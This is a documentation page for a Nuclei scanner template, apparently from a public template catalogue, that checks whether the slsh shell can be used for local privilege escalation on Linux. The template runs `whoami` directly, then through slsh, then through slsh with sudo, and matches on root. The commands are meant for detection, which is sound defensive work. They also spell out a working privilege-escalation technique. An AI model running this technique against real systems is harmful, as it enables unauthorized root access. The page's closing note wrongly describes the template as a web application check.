slsh - Privilege Escalation
ID: privesc-slsh
Severity: high
Author: daffainfo
Tags: code,linux,slsh,privesc,local
Description
Section titled “Description”slsh is a command-line shell that is designed to provide a secure environment for executing shell commands. It is often used in scenarios where security and privilege separation are important, such as in web hosting environments or when running untrusted code. slsh aims to provide a secure and restricted shell environment for executing commands.
YAML Source
Section titled “YAML Source”id: privesc-slsh
info: name: slsh - Privilege Escalation author: daffainfo severity: high description: | slsh is a command-line shell that is designed to provide a secure environment for executing shell commands. It is often used in scenarios where security and privilege separation are important, such as in web hosting environments or when running untrusted code. slsh aims to provide a secure and restricted shell environment for executing commands. reference: - https://gtfobins.github.io/gtfobins/slsh/ metadata: verified: true max-request: 3 tags: code,linux,slsh,privesc,local
self-contained: truecode: - engine: - sh - bash source: | whoami
- engine: - sh - bash source: | slsh -e 'system("whoami")'
- engine: - sh - bash source: | sudo slsh -e 'system("whoami")'
matchers-condition: and matchers: - type: word part: code_1_response words: - "root" negative: true
- type: dsl dsl: - 'contains(code_2_response, "root")' - 'contains(code_3_response, "root")' condition: or# digest: 4b0a00483046022100e9353f8b0fad79f74ae7745597c14bfb189c835d6e6e03119acf847a20941ccb022100b7db14742498e532740c5999723faf78360626273dba735f217b5a956ccf23b0:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "code/privilege-escalation/linux/binary/privesc-slsh.yaml"